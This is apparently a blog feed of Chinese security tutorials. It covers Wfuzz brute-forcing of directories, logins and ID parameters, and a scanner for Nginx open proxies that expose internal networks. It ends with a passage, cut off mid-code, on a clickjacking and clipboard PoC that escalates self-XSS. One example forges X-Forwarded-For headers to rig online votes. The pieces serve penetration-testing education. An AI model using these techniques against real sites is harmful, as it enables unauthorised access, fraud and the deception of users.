Wfuzz基本功 Author: Vulkey_Chen Blog: gh0st.cn 爆破文件、目录 wfuzz本身自带字典: . ├── Injections │   ├── All_attack.txt │   ├── SQL.txt │   ├── Traversal.txt │   ├── XML.txt │   ├── XSS.txt │   └── bad_chars.txt ├── general │   ├── admin-panels.txt │   ├── big.txt │   ├── catala.txt │   ├── common.txt │   ├── euskera.txt │   ├── extensions_common.txt │   ├── http_methods.txt │   ├── medium.txt │   ├── megabeast.txt │   ├── mutations_common.txt │   ├── spanish.txt │   └── test.txt ├── others │   ├── common_pass.txt │   └── names.txt ├── stress │   ├── alphanum_case.txt │   ├── alphanum_case_extra.txt │   ├── char.txt │   ├── doble_uri_hex.txt │   ├── test_ext.txt │   └── uri_hex.txt ├── vulns │   ├── apache.txt │   ├── cgis.txt │   ├── coldfusion.txt │   ├── dirTraversal-nix.txt │   ├── dirTraversal-win.txt │   ├── dirTraversal.txt │   ├── domino.txt │   ├── fatwire.txt │   ├── fatwire_pagenames.txt │   ├── frontpage.txt │   ├── iis.txt │   ├── iplanet.txt │   ├── jrun.txt │   ├── netware.txt │   ├── oracle9i.txt │   ├── sharepoint.txt │   ├── sql_inj.txt │   ├── sunas.txt │   ├── tests.txt │   ├── tomcat.txt │   ├── vignette.txt │   ├── weblogic.txt │   └── websphere.txt └── webservices ├── ws-dirs.txt └── ws-files.txt 但相对FuzzDB和SecLists来说还是不够全面不够强大的,当然如果有自己的字典列表最好~ Wfuzz爆破文件: wfuzz -w wordlist URL/FUZZ.php Wfuzz爆破目录: wfuzz -w wordlist URL/FUZZ 遍历枚举参数值 e.g. 假如你发现了一个未授权漏洞,地址为:http://127.0.0.1/getuser.php?uid=123 可获取uid为123的个人信息 uid参数可以遍历,已知123为三位数纯数字,需要从000-999进行遍历,也可以使用wfuzz来完成: wfuzz -z range,000-999 http://127.0.0.1/getuser.php?uid=FUZZ 使用payloads模块类中的range模块进行生成。 POST请求测试 e.g. 发现一个登录框,没有验证码,想爆破弱口令账户。 请求地址为:http://127.0.0.1/login.php POST请求正文为:username=&password= 使用wfuzz测试: wfuzz -w userList -w pwdList -d "username=FUZZ&password=FUZ2Z" http://127.0.0.1/login.php -d参数传输POST请求正文。 Cookie测试 上文 遍历枚举参数值 中说到有未授权漏洞,假设这个漏洞是越权漏洞,要做测试的肯定需要让wfuzz知道你的Cookie才能做测试。 如下命令即可携带上Cookie: wfuzz -z range,000-999 -b session=session -b cookie=cookie http://127.0.0.1/getuser.php?uid=FUZZ -b参数指定Cookie,多个Cookie需要指定多次,也可以对Cookie进行测试,仍然使用FUZZ占位符即可。 HTTP Headers测试 e.g. 发现一个刷票的漏洞,这个漏洞需要伪造XFF头(IP)可达到刷票的效果,投票的请求为GET类型,地址为:http://127.0.0.1/get.php?userid=666。 那么现在我想给userid为666的朋友刷票,可以使用wfuzz完成这类操作: wfuzz -z range,0000-9999 -H "X-Forwarded-For: FUZZ" http://127.0.0.1/get.php?userid=666 -H指定HTTP头,多个需要指定多次(同Cookie的-b参数)。 测试HTTP请求方法(Method) e.g. 想测试一个网站(http://127.0.0.1/)支持哪些HTTP请求方法 使用wfuzz: wfuzz -z list,"GET-POST-HEAD-PUT" -X FUZZ http://127.0.0.1/ 这条命了中多了 -z list 和 -X 参数,-z list可以自定义一个字典列表(在命令中体现),以-分割;-X参数是指定HTTP请求方法类型,因为这里要测试HTTP请求方法,后面的值为FUZZ占位符。 使用代理 做测试的时候想使用代理可以使用如下命令: wfuzz -w wordlist -p proxtHost:proxyPort:TYPE URL/FUZZ -p参数指定主机:端口:代理类型,例如我想使用ssr的,可以使用如下命令: wfuzz -w wordlist -p 127.0.0.1:1087:SOCKS5 URL/FUZZ 多个代理可使用多个-p参数同时指定,wfuzz每次请求都会选取不同的代理进行。 认证 想要测试一个需要HTTP Basic Auth保护的内容可使用如下命令: wfuzz -z list,"username-password" --basic FUZZ:FUZZ URL wfuzz可以通过--basec --ntml --digest来设置认证头,使用方法都一样: --basec/ntml/digest username:password 递归测试 使用-R参数可以指定一个payload被递归的深度(数字)。例如:爆破目录时,我们想使用相同的payload对已发现的目录进行测试,可以使用如下命令: wfuzz -z list,"admin-login.php-test-dorabox" -R 1 http://127.0.0.1/FUZZ 如上命令就是使用了自定义字典列表: admin login.php test dorabox 递归深度为1也就是说当发现某一个目录存在的时候,在存在目录下再递归一次字典。 并发和间隔 wfuzz提供了一些参数可以用来调节HTTP请求的线程 e.g. 你想测试一个网站的转账请求是否存在HTTP并发漏洞(条件竞争) 请求地址:http://127.0.0.1/dorabox/race_condition/pay.php POST请求正文:money=1 使用如下命令: wfuzz -z range,0-20 -t 20 -d "money=1" http://127.0.0.1/dorabox/race_condition/pay.php?FUZZ 测试并发要控制请求次数,在这里为使用range模块生成0-20,然后将FUZZ占位符放在URL的参数后不影响测试即可,主要是用-t参数设置并发请求,该参数默认设置都是10。 另外使用-s参数可以调节每次发送HTTP的时间间隔。 保存测试结果 wfuzz通过printers模块来将结果以不同格式保存到文档中,一共有如下几种格式: raw | `Raw` output format json | Results in `json` format csv | `CSV` printer ftw magictree | Prints results in `magictree` format html | Prints results in `html` format 将结果以json格式输出到文件的命令如下: $ wfuzz -f outfile,json -w wordlist URL/FUZZ 使用-f参数,指定值的格式为输出文件位置,输出格式。

2018/10/28
articleCard.readMore

Wfuzz初上手

Wfuzz初上手 Author: Vulkey_Chen Blog: gh0st.cn Wfuzz是啥玩意? wfuzz 是一款Python开发的Web安全模糊测试工具。https://github.com/xmendez/wfuzz 简单粗暴的功能特点记录: 模块化 框架 可编写插件 接口 可处理BurpSuite所抓的请求和响应报文 简而言之就是wfuzz可以用在做请求参数参数类的模糊测试,也可以用来做Web目录扫描等操作。 Wfuzz初体验 安装Wfuzz pip install wfuzz 简单的使用 wfuzz -w 字典 地址(e.g. https://gh0st.cn/FUZZ) 如上命令使用-w参数指定字典位置,然后跟上一个要测试的地址,所列的例子https://gh0st.cn/FUZZ中有一个FUZZ单词,这个单词可以理解是一个占位符,这样就大概了解了wfuzz的基本运行原理,它会读取字典然后传入占位符进行模糊测试请求。 实际的使用一遍: wfuzz -w test_dict.txt https://gh0st.cn/FUZZ 返回结果如下: ******************************************************** * Wfuzz 2.2.11 - The Web Fuzzer * ******************************************************** Target: https://gh0st.cn/FUZZ Total requests: 6 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000004: C=404 1 L 121 W 1636 Ch "test123" 000003: C=404 1 L 121 W 1636 Ch "456" 000006: C=404 1 L 121 W 1636 Ch "admin123" 000005: C=404 1 L 121 W 1636 Ch "admin" 000001: C=404 1 L 121 W 1636 Ch "abc" 000002: C=404 1 L 121 W 1636 Ch "123" Total time: 2.122055 Processed Requests: 6 Filtered Requests: 0 Requests/sec.: 2.827447 通过返回结果我们可以知道很多信息,最需要关注的就是ID、Response、 Lines、Word、Chars、Payload这一行,从左往右看,依次是编号、响应状态码、响应报文行数、响应报文字数、响应报文正字符数、测试使用的Payload。 了解Wfuzz 通过-h或者--help可以来获取帮助信息。 Wfuzz模块 如上所述说到wfuzz是模块化的框架,wfuzz默认自带很多模块,模块分为5种类型分别是:payloads、encoders、iterators、printers和scripts。 通过-e参数可以查看指定模块类型中的模块列表: wfuzz -e payloads payloads类的模块列表如下: Available payloads: Name | Summary ------------------------------------------------------------------------------------------------------ guitab | This payload reads requests from a tab in the GUI dirwalk | Returns filename's recursively from a local directory. file | Returns each word from a file. burpstate | Returns fuzz results from a Burp state. wfuzzp | Returns fuzz results' URL from a previous stored wfuzz session. ipnet | Returns list of IP addresses of a network. bing | Returns URL results of a given bing API search (needs api key). stdin | Returns each item read from stdin. list | Returns each element of the given word list separated by -. hexrand | Returns random hex numbers from the given range. range | Returns each number of the given range. names | Returns possible usernames by mixing the given words, separated by -, using know | n typical constructions. hexrange | Returns each hex number of the given hex range. permutation | Returns permutations of the given charset and length. buffer_overflow | Returns a string using the following pattern A * given number. iprange | Returns list of IP addresses of a given IP range. burplog | Returns fuzz results from a Burp log. autorize | Returns fuzz results' from autororize. Wfuzz使用 从上文知道了wfuzz基于一个非常简单的概念:使用payload来替换相应的FUZZ关键词的位置,FUZZ这样的关键词就是占位符,payload就是输入源。 通过wfuzz -e payloads可以获取payloads类的所有模块列表,使用wfuzz -z help可以获取关于payloads类模块的详细信息,也可以通过--slice参数来过滤返回信息的结果。 e.g. wfuzz -z help --slice "names" Name: names 0.1 Categories: default Summary: Returns possible usernames by mixing the given words, separated by -, using known typical constructions. Author: Christian Martorella,Adapted to newer versions Xavi Mendez (@xmendez) Description: ie. jon-smith Parameters: + name: Name and surname in the form of name-surname. 使用(字典) 注:命令中的wordlist表示为字典位置 wfuzz -z file --zP fn=wordlist URL/FUZZ wfuzz -z file,wordlist URL/FUZZ wfuzz -w wordlist URL/FUZZ 这里有必要说明下,使用命令意义是一样的,都是使用payloads模块类中的file模块,通过wfuzz -z help --slice "file"看如何使用file模块: Name: file 0.1 Categories: default Summary: Returns each word from a file. Author: Carlos del Ojo,Christian Martorella,Adapted to newer versions Xavi Mendez (@xmendez) Description: Returns the contents of a dictionary file line by line. Parameters: + fn: Filename of a valid dictionary 通过返回的帮助信息,我们知道这个模块需要一个参数fn,这个参数值为字典文件名(绝对路径)。这样子第一条命令一下子就明白了,wfuzz -z file --zP fn=wordlist URL/FUZZ中的-z file使用模块,--zP fn=wordlist是定义fn参数的值(可以这样理解,–zP 这里的P大写代表 Parameters ,然后其他的都是固有个事) 第二条命令简写了第一条命令的赋值,第三条命令使用-w,这个参数就是-z file --zP fn的别名。 多个字典 使用-z 或-w 参数可以同时指定多个字典,这时相应的占位符应设置为 FUZZ,FUZ2Z,FUZ3Z,….,FUZnZ, 其中n代表了占位序号。 例如想要同时爆破目录、文件名、后缀,可以这样来玩: wfuzz -w 目录字典路径 -w 文件名字典路径 -w 后缀名字典路径 URL/FUZZ/FUZ2Z.FUZ3Z 过滤器 wfuzz具有过滤器功能,在做测试的过程中会因为环境的问题需要进行过滤,例如在做目录扫描的时候,你事先探测并知道了这个网站访问不存在目录的时候使用的是自定义404页面(也就是状态码为200),而你可以选择提取该自定义页面的特征来过滤这些返回结果。 wfuzz过滤分为两种方法:隐藏符合过滤条件的结果 和 显示符合过滤条件的结果 隐藏响应结果 通过--hc,--hl,--hw,--hh参数可以隐藏某些HTTP响应。 --hc 根据响应报文状态码进行隐藏(hide code) 隐藏404: wfuzz -w wordlist --hc 404 URL/FUZZ 隐藏404、403: wfuzz -w wordlist --hc 404,403 URL/FUZZ e.g. 使用百度举个例子,运行wfuzz -w test_dict.txt https://www.baidu.com/FUZZ结果如下 这里所有的测试请求,都是不存在的页面,那么百度的404页面规则就是如上图结果所示:响应报文状态码(302)、响应报文行数(7)、响应报文字数(18)、响应报文字符数(222),那么下面的就是填空题了~ --hl根据响应报文行数进行隐藏(hide lines) wfuzz -w wordlist --hl 7 https://www.baidu.com/FUZZ --hw根据响应报文字数进行隐藏(hide word) wfuzz -w wordlist --hw 18 https://www.baidu.com/FUZZ --hh根据响应报文字符数进行隐藏(hide chars 这里因为code和chars首字母都是c,–hc参数已经有了,所以hide chars的参数就变成了–hh) wfuzz -w wordlist --hh 222 https://www.baidu.com/FUZZ 如果根据单个条件判断相对来说肯定是不精确的,所以整合一下就是这样的命令: wfuzz -w wordlist --hc 302 --hl 7 --hw 18 --hh 222 https://www.baidu.com/FUZZ 这样就可以对https://www.baidu.com/进行目录扫描咯~ 显示响应结果 显示响应结果的使用方法跟隐藏时的原理一样,只不过参数变为了:--sc(show code),--sl(show lines),--sw(show word),--sh (show chars)。 使用Baseline(基准线) 过滤器可以是某个HTTP响应的引用,这样的引用我们称为Baseline。 之前的使用--hh进行过滤的例子中,还可以使用下面的命令代替: wfuzz -w wordlist --hh BBB https://www.baidu.com/FUZZ{404there} 这条命令的意思应该很容易理解,首先要清楚基准线是什么?换个名字:标准线 or 及格线。 首先解释下https://www.baidu.com/FUZZ{404there}的意思,这里代表wfuzz第一个请求是请求https://www.baidu.com/404there这个网址,在{ }内的值用来指定wfuzz第一个请求中的FUZZ占位符,而这第一个请求被标记为BBB(BBB不能换成别的)基准线;其次这里使用的参数是--hh,也就是以BBB这条请求中的Chars为基准,其他请求的Chars值与BBB相同则隐藏。 使用正则表达式过滤 wfuzz参数--ss和--hs可以使用正则表达式来对返回的结果过滤。 e.g. 在这里一个网站自定义返回页面的内容中包含Not Found,想根据这个内容进行过滤可以使用如下的命令: wfuzz -w wordlist --hs "Not Found" http://127.0.0.1/FUZZ 得出结论使用方法: wfuzz -w wordlist --hs 正则表达式 URL/FUZZ #隐藏 wfuzz -w wordlist --ss 正则表达式 URL/FUZZ #显示 手册 原文来自:DigApis安全 m0nst3r 模块种类 payload payload为wfuzz生成的用于测试的特定字符串,一般情况下,会替代被测试URL中的FUZZ占位符。 当前版本中的wfuzz中可用payloads列表如下: Available payloads: Name | Summary ------------------------------------------------------------------------------------------------------ guitab | 从可视化的标签栏中读取请求 dirwalk | 递归获得本地某个文件夹中的文件名 file | 获取一个文件当中的每个词 autorize | 获取autorize的测试结果Returns fuzz results' from autororize. wfuzzp | 从之前保存的wfuzz会话中获取测试结果的URL ipnet | 获得一个指定网络的IP地址列表 bing | 获得一个使用bing API搜索的URL列表 (需要 api key). stdin | 获得从标准输入中的条目 list | 获得一个列表中的每一个元素,列表用以 - 符号分格 hexrand | 从一个指定的范围中随机获取一个hex值 range | 获得指定范围内的每一个数值 names | 从一个以 - 分隔的列表中,获取以组合方式生成的所有usernames值 burplog | 从BurpSuite的记录中获得测试结果 permutation | 获得一个在指定charset和length时的字符组合 buffer_overflow | 获得一个包含指定个数个A的字符串. hexrange | 获得指定范围内的每一个hex值 iprange | 获得指定IP范围内的IP地址列表 burpstate | 从BurpSuite的状态下获得测试结果 encoder encoder的作用是将payload进行编码或加密。 wfuzz的encoder列表如下: Available encoders: Category | Name | Summary ------------------------------------------------------------------------------------------------------------------------ url_safe, url | urlencode | 用`%xx`的方式替换特殊字符, 字母/数字/下划线/半角点/减号不替换 url_safe, url | double urlencode | 用`%25xx`的方式替换特殊字符, 字母/数字/下划线/半角点/减号不替换 url | uri_double_hex | 用`%25xx`的方式将所有字符进行编码 html | html_escape | 将`&`,`<`,`>`转换为HTML安全的字符 html | html_hexadecimal | 用 `&#xx;` 的方式替换所有字符 hashes | base64 | 将给定的字符串中的所有字符进行base64编码 url | doble_nibble_hex | 将所有字符以`%%dd%dd`格式进行编码 db | mssql_char | 将所有字符转换为MsSQL语法的`char(xx)`形式 url | utf8 | 将所有字符以`\u00xx` 格式进行编码 hashes | md5 | 将给定的字符串进行md5加密 default | random_upper | 将字符串中随机字符变为大写 url | first_nibble_hex | 将所有字符以`%%dd?` 格式进行编码 default | hexlify | 每个数据的单个比特转换为两个比特表示的hex表示 url | second_nibble_hex | 将所有字符以`%?%dd` 格式进行编码 url | uri_hex | 将所有字符以`%xx` 格式进行编码 default | none | 不进行任何编码 hashes | sha1 | 将字符串进行sha1加密 url | utf8_binary | 将字符串中的所有字符以 `\uxx` 形式进行编码 url | uri_triple_hex | 将所有字符以`%25%xx%xx` 格式进行编码 url | uri_unicode | 将所有字符以`%u00xx` 格式进行编码 html | html_decimal | 将所有字符以 `&#dd; ` 格式进行编码 db | oracle_char | 将所有字符转换为Oracle语法的`chr(xx)`形式 db | mysql_char | 将所有字符转换为MySQL语法的`char(xx)`形式 iterator wfuzz的iterator提供了针对多个payload的处理方式。 itorators的列表如下: Available iterators: Name | Summary ---------------------------------------------------------------------------------------------- product | Returns an iterator cartesian product of input iterables. zip | Returns an iterator that aggregates elements from each of the iterables. chain | Returns an iterator returns elements from the first iterable until it is exhaust | ed, then proceeds to the next iterable, until all of the iterables are exhausted | . printer wfuzz的printers用于控制输出打印。 printers列表如下: Available printers: Name | Summary -------------------------------------------------- raw | `Raw` output format json | Results in `json` format csv | `CSV` printer ftw magictree | Prints results in `magictree` format html | Prints results in `html` format scripts scripts列表如下: Available scripts: Category | Name | Summary ---------------------------------------------------------------------------------------------------- default, passive | cookies | 查找新的cookies default, passive | errors | 查找错误信息 passive | grep | HTTP response grep active | screenshot | 用linux cutycapt tool 进行屏幕抓取 default, active, discovery | links | 解析HTML并查找新的内容 default, active, discovery | wc_extractor | 解析subversion的wc.db文件 default, passive | listing | 查找列目录漏洞 default, passive | title | 解析HTML页面的title default, active, discovery | robots | 解析robots.txt文件来查找新内容 default, passive | headers | 查找服务器的返回头 default, active, discovery | cvs_extractor | 解析 CVS/Entries 文件 default, active, discovery | svn_extractor | 解析 .svn/entries 文件 active, discovery | backups | 查找已知的备份文件名 default, active, discovery | sitemap | 解析 sitemap.xml 文件 内置工具 wfencode 工具 这是wfuzz自带的一个加密/解密(编码/反编码)工具,目前支持内建的encoders的加/解密。 wfencode -e base64 123456 [RES] MTIzNDU2 wfencode -d base64 MTIzNDU2 [RES] 123456 wfpayload工具 wfpayload是payload生成工具 wfpayload -z range,0-10 [RES] 0 1 2 3 4 5 6 7 8 9 10 wxfuzz 工具 这个看源码是一个wxPython化的wfuzz,也就是GUI图形界面的wfuzz。目前需要wxPython最新版本才能使用,但是在ParrotOS和Kali上都无法正常安装成功,问题已在GitHub提交Issue,期待开发者的回复中… wfuzz命令中文帮助 Usage: wfuzz [options] -z payload,params <url> FUZZ, ..., FUZnZ payload占位符,wfuzz会用指定的payload代替相应的占位符,n代表数字. FUZZ{baseline_value} FUZZ 会被 baseline_value替换,并将此作为测试过程中第一个请求来测试,可用来作为过滤的一个基础。 Options: -h/--help : 帮助文档 --help : 高级帮助文档 --version : Wfuzz详细版本信息 -e <type> : 显示可用的encoders/payloads/iterators/printers/scripts列表 --recipe <filename> : 从文件中读取参数 --dump-recipe <filename> : 打印当前的参数并保存成文档 --oF <filename> : 将测试结果保存到文件,这些结果可被wfuzz payload 处理 -c : 彩色化输出 -v : 详细输出 -f filename,printer : 将结果以printer的方式保存到filename (默认为raw printer). -o printer : 输出特定printer的输出结果 --interact : (测试功能) 如果启用,所有的按键将会被捕获,这使得你能够与程序交互 --dry-run : 打印测试结果,而并不发送HTTP请求 --prev : 打印之前的HTTP请求(仅当使用payloads来生成测试结果时使用) -p addr : 使用代理,格式 ip:port:type. 可设置多个代理,type可取的值为SOCKS4,SOCKS5 or HTTP(默认) -t N : 指定连接的并发数,默认为10 -s N : 指定请求的间隔时间,默认为0 -R depth : 递归路径探测,depth指定最大递归数量 -L,--follow : 跟随HTTP重定向 -Z : 扫描模式 (连接错误将被忽视). --req-delay N : 设置发送请求允许的最大时间,默认为 90,单位为秒. --conn-delay N : 设置连接等待的最大时间,默认为 90,单位为秒. -A : 是 --script=default -v -c 的简写 --script= : 与 --script=default 等价 --script=<plugins> : 进行脚本扫描, <plugins> 是一个以逗号分开的插件或插件分类列表 --script-help=<plugins> : 显示脚本的帮助 --script-args n1=v1,... : 给脚本传递参数. ie. --script-args grep.regex="<A href=\"(.*?)\">" -u url : 指定请求的URL -m iterator : 指定一个处理payloads的迭代器 (默认为product) -z payload : 为每一个占位符指定一个payload,格式为 name[,parameter][,encoder]. 编码可以是一个列表, 如 md5-sha1. 还可以串联起来, 如. md5@sha1. 还可使用编码各类名,如 url 使用help作为payload来显示payload的详细帮助信息,还可使用--slice进行过滤 --zP <params> : 给指定的payload设置参数。必须跟在 -z 或-w 参数后面 --slice <filter> : 以指定的表达式过滤payload的信息,必须跟在-z 参数后面 -w wordlist : 指定一个wordlist文件,等同于 -z file,wordlist -V alltype : 暴力测试所有GET/POST参数,无需指定占位符 -X method : 指定一个发送请求的HTTP方法,如HEAD或FUZZ -b cookie : 指定请求的cookie参数,可指定多个cookie -d postdata : 设置用于测试的POST data (ex: "id=FUZZ&catalogue=1") -H header : 设置用于测试请求的HEADER (ex:"Cookie:id=1312321&user=FUZZ"). 可指定多个HEADER. --basic/ntlm/digest auth : 格式为 "user:pass" or "FUZZ:FUZZ" or "domain\FUZ2Z:FUZZ" --hc/hl/hw/hh N[,N]+ : 以指定的返回码/行数/字数/字符数作为判断条件隐藏返回结果 (用 BBB 来接收 baseline) --sc/sl/sw/sh N[,N]+ : 以指定的返回码/行数/字数/字符数作为判断条件显示返回结果 (用 BBB 来接收 baseline) --ss/hs regex : 显示或隐藏返回结果中符合指定正则表达式的返回结果 --filter <filter> : 显示或隐藏符合指定filter表达式的返回结果 (用 BBB 来接收 baseline) --prefilter <filter> : 用指定的filter表达式在测试之前过滤某些测试条目

2018/10/28
articleCard.readMore

刺透内网的HTTP代理

从偶然出发 在做测试的时候发现了这样一个漏洞,原请求报文如下: GET / HTTP/1.1 Host: attack_website [... HEADER ...] ... 当时最初目的是想测SSRF的,但是经过测试没发现存在漏洞后来想起之前看过的一些漏洞案例,将请求报文中的URI部分替换成了网址: http://gh0st.cn 就变成了如下的请求: GET http://gh0st.cn HTTP/1.1 Host: attack_website [... HEADER ...] ... 在BurpSuite里进行重放测试发现返回的响应正文就是 http://gh0st.cn 的,也就是说这里的attack_website可以被作为HTTP代理,于是进入下一步的测试能否使用非http/https协议进行请求?例如file:///,测试后发现确实没办法这样玩,看来是这里代理服务器不支持。 在这里替换URI部分为内网的地址,可以直接漫游内网的系统,进行深入的渗透测试了,后续的事情就不在这多说了,那么来研究看看为什么会有这样的问题呢? 从被动偶然到主动发现 了解原理 查阅了一番资料和询问了一下朋友,都说具体的不太清楚,后来看见这样一篇文章: https://www.secpulse.com/archives/74676.html 其中所说原理大致是因为Nginx反向代理配置不当导致可以被作为正向代理,导致能被外部作为HTTP代理服务器。 正向代理 and 反向代理 正向代理 浏览器(/全局)设置代理服务器IP和对应端口 浏览器输入目标地址->代理服务器->目标服务器 简而言之,正向代理类似我们经常用到的跳板机,利用代理去访问外部的资源。 反向代理 跟正代不同的地方在于反向代理相对浏览器来说是透明的,不需要在浏览器(/全局)做什么配置,而是有反向代理服务器自己做请求转发到其服务器上所配置的地址。 大致如下的流程: 浏览器访问网站(网站所指即反向代理服务器) 网站(反向代理服务器)做处理,将请求转发给所设置的目标服务器 由请求最终到达的目标服务器响应给网站(反向代理服务器),然后再通过其返回给浏览器 TIPs: 一、反向代理服务器也可以变成WAF(例如Nginx支持反代功能,nginx+lua也可以搭建网站waf) 二、反向代理服务器也可以起到负载均衡的作用,由反向代理服务器做选择分配Web服务器 主动发现脚本开发 脚本语言选择:python2.7 系统环境:all 思考 如何判断这个网站存在可以作为HTTP代理访问资源?唯一特征是什么? 脑子中唯一的思路就是IP,如果这目标站点能作为HTTP代理访问资源,那么我设置的这个资源就是返回真实IP的,这样就可以判断了~ 这里我在团队官网上小小的写了一个,但是在大批量去测试却无法使用,因为官网的空间没那么大的吞吐量,承载不住高并发,后期建议大家使用 http://httpbin.org/ip 这个接口~ http://www.hi-ourlife.com/getip.php PHP代码: <?php echo $_SERVER['REMOTE_ADDR']; ?> 代码构建 Import 库 import urllib, sys, re, json 全局变量: poc = "http://www.hi-ourlife.com/getip.php" 获取使用代理访问资源后内容(IP)函数: def useProxy(site): try: res = urllib.urlopen(poc, proxies={'http': site}).read() return res except: return getIP() 正常本机获取IP函数: def getIP(): res = urllib.urlopen(poc).read() return res 防止有些会出错返回的内容不是IP,其实返回不是IP也就间接证明不存在这种漏洞,所以需要写个正则来匹配,这时候判断是否是IP的函数就诞生了: def isIP(ip): compileIP = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$') if compileIP.match(ip): return True else: return False 对比IP函数: def isVul(site): resA = getIP() #print resA resB = useProxy(site) #print resB if resA == resB or not isIP(resB): print "\033[1;33m[INFO]\033[0m No Vulnerability!" else: print "\033[1;31m[INFO]\033[0m Existing Vulnerability!" print "\033[1;36m[INFO]\033[0m Site:[ {0} ] -> RealIP:[ {1} ]".format(site, resB) 单线程批量 从扫描器里把代码模板剥离了出来如下: #-*- coding:utf-8 -*- #Author: Vulkey_Chen import urllib, sys, re poc = "http://www.hi-ourlife.com/getip.php" def useProxy(site): try: res = urllib.urlopen(poc, proxies={'http': site}).read() return res except: return getIP() def getIP(): res = urllib.urlopen(poc).read() return res def getSite(filename): f = open(filename) res = [] for line in f: res.append(line) return res def isIP(ip): compileIP = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$') if compileIP.match(ip): return True else: return False def isVul(site): resA = getIP() #print resA resB = useProxy(site) #print resB if resA == resB or not isIP(resB): print "\033[1;33m[INFO]\033[0m No Vulnerability!" else: print "\033[1;31m[INFO]\033[0m Existing Vulnerability!" print "\033[1;36m[INFO]\033[0m Site:[ {0} ] -> RealIP:[ {1} ]".format(site, resB) def main(filename): for i in getSite(filename): isVul(i.replace("\n","")) if __name__ == '__main__': main(sys.argv[1]) END 使用方法:python proxy_vul.py urls.txt urls.txt 格式: http://www.hi-ourlife.com/ https://gh0st.cn/ http://mst.hi-ourlife.com:8080/ 建议批量方法: 扫描所有想检测站点的web服务端口(Nginx容器存在此类问题居多),然后使用脚本检测。

2018/9/11
articleCard.readMore

组合拳出击-Self型XSS变废为宝

前言 作者:Vulkey_Chen 博客:gh0st.cn 这是一个鸡肋性质的研究,也许有些标题党,请见谅~ 本文启发于一些讨论,和自己脑子里冒出来的想法。 组合拳搭配 Self型XSS 已知Self型XSS漏洞是这样的: 相信看见图片基本上已经知道这个漏洞形成的原因了,该功能点有一个编辑预览的,输入XSS的payload就触发。 局限点在于这个漏洞是Self型(Myself),也就是只能自己输入->自己触发漏洞。 变换思考 重新理一下这个漏洞触发的流程: 1.输入XSS payload: <svg/onload=alert(1)> 2.触发 那么是否也可以理解为这样的一个触发流程: 1.XSS payload就在剪贴板中 2.黏贴到文本框 3.触发 也就是说在这里我只需要沿着这个流程向下拓展,是否可以让我变换的触发流程文字变成代码形式。 顺推流程 触发流程顺推为攻击流程: 1.诱导受害者点开连接 2.诱导受害者点击复制按钮 3.诱导受害者黏贴剪贴板的内容 4.顺利触发XSS漏洞 这一切的攻击流程看起来可操作性并不强,但实际上还是会有很多人中招。 搭配谁? 以上的攻击流程都需要在同一个页面中触发,那么就需要一个点击劫持的配合。 “上天总是眷顾长得帅的人”,在这里确实也存在着点击劫持的问题: 代码思考&构建 复制功能 按流程来构建,首先构建复制到剪贴板的功能: JavaScript有这样的功能,代码如下,自行 ”食“ 用: <script type="text/javascript"> function cpy(){ var content=document.getElementById("test");//获取id为test的对象 content.select();//全选内容 document.execCommand("Copy");//执行复制命令到剪贴板 } </script> HTML代码如下: <input type="text" id="test" value='<svg/onload=alert(1)>'><br> <input type="submit" value="test" onclick="cpy()"> 界面如下: 问题: 虽然作为一个PoC来说,不需要那么苛刻的要求PoC的严谨性,但这里处于研究探索的目的还是需要解决问题,如果input标签的内容显示出来,那么就很容易暴露本身的攻击。 针对这类问题一开始我想到的是使用hidden属性构建为如下的HTML代码: <input type="hidden" id="test" value='<svg/onload=alert(1)>'><br> <input type="submit" value="test" onclick="cpy()"> 经过测试发现并不能成功的使用复制功能,我的理解是因为在JavaScript代码中有这样一段内容: ... content.select();//全选内容 ... 既然是全选内容那么一定要有这样一个编辑框或者输入框的存在,所以使用Hidden从实际意义上是没有这样一个”框“的。 解决问题: 在这里我选择使用透明样式来从”视觉上隐藏“标签: <style type="text/css"> #test { /*css id选择器*/ /*控制不透明度的属性,兼容各大浏览器*/ filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/ -moz-opacity: 0; /*提供给火狐浏览器的*/ -webkit-opacity: 0; /*提供给webkit内核的*/ -khtml-opacity: 0; /*提供给KHTML内核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/ opacity: 0; /*控制不透明度的属性,兼容各大浏览器*/ } </style> 那么界面就变成如下的样子了: 注意:这里没办法使用自动复制到剪贴板,必须需要一个按钮才行 点击劫持 点击劫持之前写过一篇文章,所以就不在做讲解了,参考我之前写的一篇文章:http://gh0st.cn/archives/2017-12-20/1 构建基本CSS样式: .testframe { height: 100%; } iframe { height: 100%; width: 100%; border: 0; margin: 0; padding: 0; /*控制不透明度的属性,兼容各大浏览器*/ filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/ -moz-opacity: 0; /*提供给火狐浏览器的*/ -webkit-opacity: 0; /*提供给webkit内核的*/ -khtml-opacity: 0; /*提供给KHTML内核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/ opacity: 0; /*控制不透明度的属性,兼容各大浏览器*/ } #submit { position: fixed; width: 614px; height: 30px; margin: 0 auto; left: 0; right: 550px; display: block; top: 640px; } iframe框架&&输入框: <div class="testframe"> <iframe src="https://website/New"></iframe> <input type="text" id="submit"> </div> 最终PoC <html> <head> <style type="text/css"> .testframe { height: 100%; } iframe { height: 100%; width: 100%; border: 0; margin: 0; padding: 0; /*控制不透明度的属性,兼容各大浏览器*/ filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/ -moz-opacity: 0; /*提供给火狐浏览器的*/ -webkit-opacity: 0; /*提供给webkit内核的*/ -khtml-opacity: 0; /*提供给KHTML内核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/ opacity: 0; /*控制不透明度的属性,兼容各大浏览器*/ } #test { /*控制不透明度的属性,兼容各大浏览器*/ filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/ -moz-opacity: 0; /*提供给火狐浏览器的*/ -webkit-opacity: 0; /*提供给webkit内核的*/ -khtml-opacity: 0; /*提供给KHTML内核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/ opacity: 0; /*控制不透明度的属性,兼容各大浏览器*/ } #submit { 